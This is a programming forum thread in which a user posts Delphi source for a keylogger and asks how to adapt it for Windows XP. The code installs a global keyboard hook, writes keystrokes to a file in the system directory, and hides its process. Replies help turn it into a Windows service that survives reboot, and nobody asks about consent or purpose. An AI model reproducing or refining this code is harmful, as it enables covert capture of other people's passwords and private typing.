Link to home
Start Free TrialLog in
Avatar of nvs28111962
nvs28111962

asked on

Hooking in WinXP

Please tell me what I should change the code below to use with WinXP?

-------------------- begin Exchange.pas --------------------------
unit Exchange;

interface

uses Windows;

type
PCommon = ^TCommon;
TCommon = record
 HookHandle: THandle;
 DumpName:String[255];
 Tick:DWord;
 Keys:String[255];
end;

const
UniqueHookId = '86385430-0AE6-1BD4-83D3-ECB44ef5700a';

var
CommonArea : PCommon = NIL;

implementation

var
hMapping : THandle = 0;
SysDir:array[0..Max_Path] of char;

initialization
hMapping := CreateFileMapping($FFFFFFFF, NIL, PAGE_READWRITE, 0,
 SizeOf(TCommon), UniqueHookId);
CommonArea := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
GetSystemDirectory(SysDir,Max_Path);
CommonArea^.DumpName:=String(SysDir)+'\lamer.dat';

finalization
if Assigned(CommonArea) then UnmapViewOfFile(CommonArea);
if hMapping <> 0 then CloseHandle(hMapping);
end.
-------------------- end Exchange.pas --------------------------

-------------------- begin hook.dpr --------------------------
library hook;
uses
 Windows,
 Exchange;

Procedure WriteToLog(k:String);
var
 DF:System.Text;
begin
{$I-}
Assign(DF,CommonArea^.DumpName);
Append(DF);
If IOresult<>0 then Rewrite(DF);
Write(DF,K);
Close(DF);
end;

Function KeyboardProc(code:integer;     // hook code
   wParam:WPARAM;     // virtual-key code
   lParam:LPARAM):LRESULT;stdcall;export;
var key:string;
begin
If Code>=0 then begin
 If (HiWord(lParam) and KF_UP)=0 then begin
       SetLength(Key,255);
       SetLength(Key,GetKeyNameText(lParam,PChar(Key),255));
   With CommonArea^ do Keys:=Keys+Key;
   end;
 If (GetTickCount-CommonArea^.Tick>10000)or(length(CommonArea^.Keys)>200) then begin
   WriteToLog(CommonArea^.Keys);
   CommonArea^.Keys:='';
   CommonArea^.Tick:=GetTickCount;
   end;
 end;
Result:=CallNextHookEx(CommonArea^.HookHandle,code,wParam,lParam);
end;

function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if not Assigned(CommonArea) then Exit;
if Activate then begin
 CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,hInstance, 0);
 Result := (CommonArea^.HookHandle <> 0);
end else
 if CommonArea^.HookHandle <> 0 then begin
  Result := UnhookWindowsHookEx(CommonArea^.HookHandle);
  if Result then CommonArea^.HookHandle := 0;
 end;
end;

exports
KeyboardProc,
SetHook;
begin
end.
-------------------- end hook.dpr --------------------------


-------------------- begin Loger.dpr --------------------------
program Loger;
uses
 Windows;

Type RegisterServiceProcess=function (dwProcessID, dwType:DWORD): Integer; stdcall;
Procedure Hide;
var hLibrary:THandle;
begin
hLibrary := LoadLibrary('KERNEL32.DLL');
if hLibrary > 32 then
 RegisterServiceProcess(GetProcAddress(hLibrary,'RegisterServiceProcess'))(GetCurrentProcessID,1);
end;

type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
 hSetHook:Pointer;
 hinstDLL:  LongWord;
begin
hinstDLL:=LoadLibrary('hook.dll');
If hinstDLL=0 then exit;
Hide;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
SetHook(hSetHook)(True);
Sleep(INFINITE);
end.
-------------------- end Loger.dpr --------------------------
Avatar of calinutz
calinutz
Flag of Romania image

This is what you should cjange....

" hLibrary := LoadLibrary('KERNEL32.DLL');
if hLibrary > 32 then
 RegisterServiceProcess(GetProcAddress(hLibrary,'RegisterServiceProcess'))(GetCurrentProcessID,1);
end; "
Avatar of Wim ten Brink
Actually...
  if hLibrary > 32 then
should be
  if hLibrary <> 0 then
...

It's a common mistake, though. In Windows 3.11 it would be valid because anything less than 33 was reserved for the system. These days however the LoadLibrary either returns 0 on an error or any other value if it's valid.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/win9x/95func_3t0z.asp

This function is Windows 9x specific. On Windows NT-based systems it just doesn't exist. You should just create a Service application instead, by using File/New, then select 'Service Application'.
Avatar of nvs28111962
nvs28111962

ASKER

Alex, can you please explain me more about creating Service Application?
Thank you,
Sinh
SOLUTION
Avatar of Wim ten Brink
Wim ten Brink
Flag of Netherlands image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Hi Alex,
please check for me the following code. It did not work when I build it in Delphi 7 and then run in WinXP.

----------begin of Hook.dpr---------------------
library Hook;
uses
  Windows;
var HookHandle:THandle;

Procedure WriteToLog(k:String);
var
 DF:Textfile;
begin  
{$I-}
Assign(DF,'keyboad.txt');
Rewrite(df);
Write(DF,K);
Closefile(DF);
end;

Function KeyboardProc(code:integer;     // hook code
   wParam:WPARAM;     // virtual-key code
   lParam:LPARAM):LRESULT;stdcall;export;
var key:string;
begin
If Code>=0 then
 If (HiWord(lParam) and KF_UP)=0 then begin
       SetLength(Key,255);
       SetLength(Key,GetKeyNameText(lParam,PChar(Key),255));
       WriteToLog(Key);
 end;
Result:=CallNextHookEx(HookHandle,code,wParam,lParam);
end;

function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if Activate then begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,hInstance, 0);
 Result := (HookHandle <> 0);
end else
 if HookHandle <> 0 then begin
  Result := UnhookWindowsHookEx(HookHandle);
  if Result then HookHandle := 0;
 end;
end;

exports
KeyboardProc,
SetHook;
begin
end.

-------------end of Hook.dpr--------------------

-----------------------begin of ServiceProject.dpr-------------------------------
program ServiceProject;

uses
  SvcMgr,
  serviceUnit in 'serviceUnit.pas' {Service1: TService};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TService1, Service1);
  Application.Run;
end.
-------------------------end of ServiceProject.dpr-------------------------------

----------------begin of ServiceUnit.pas----------------
unit serviceUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs;

type
  TService1 = class(TService)
    procedure ServiceStart(Sender: TService; var Started: Boolean);
    procedure ServiceStop(Sender: TService; var Stopped: Boolean);
    procedure ServiceCreate(Sender: TObject);
    procedure ServiceDestroy(Sender: TObject);
    procedure ServiceExecute(Sender: TService);
  private
    { Private declarations }
  public
   hSetHook:Pointer;
   hinstDLL:  LongWord;
    function GetServiceController: TServiceController; override;
    { Public declarations }
  end;

type SetHook = function (Activate: BOOL): BOOL; stdcall;

var
 Service1: TService1;

implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
SetHook(hSetHook)(True);
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
SetHook(hSetHook)(True);
end;

procedure TService1.ServiceCreate(Sender: TObject);
begin
hinstDLL:=LoadLibrary('hook.dll');
If hinstDLL=0 then exit;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
end;

procedure TService1.ServiceDestroy(Sender: TObject);
begin
FreeLibrary(hinstDLL);
end;

procedure TService1.ServiceExecute(Sender: TService);
begin
repeat until false;
end;

end.
--------------------------end of ServiceUnit.pas----------------


Thank you,
nvs28111962
Remove the ServiceExecute completely since it's stopping your service from processing any messages... You don't need it anyway.
ASKER CERTIFIED SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Hi Alex,

I removed ServiceExecute and change the parameter of SetHook in stop method to "False" but it did not anyway function. I run ServiceProject.exe and then reboot. After writing some words in the Notepad I could not find any 'keyboad.txt' in the same folder of the ServiceProject.exe. But it should be there according to WriteToLog of the Hook.dpr.

Please take a look again!

Thanks,
nvs28111962
Are you sure the service was running when you started it? Furthermore, it might be wise to use a full filename for the textfile, like "c:\Keyboard.txt'.
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Actually, the problem is that the service program does not run and load the library. Because, after I started the service program I tried to delete it and the library: it was successful... The same was when I've done reboot...
nvs28111962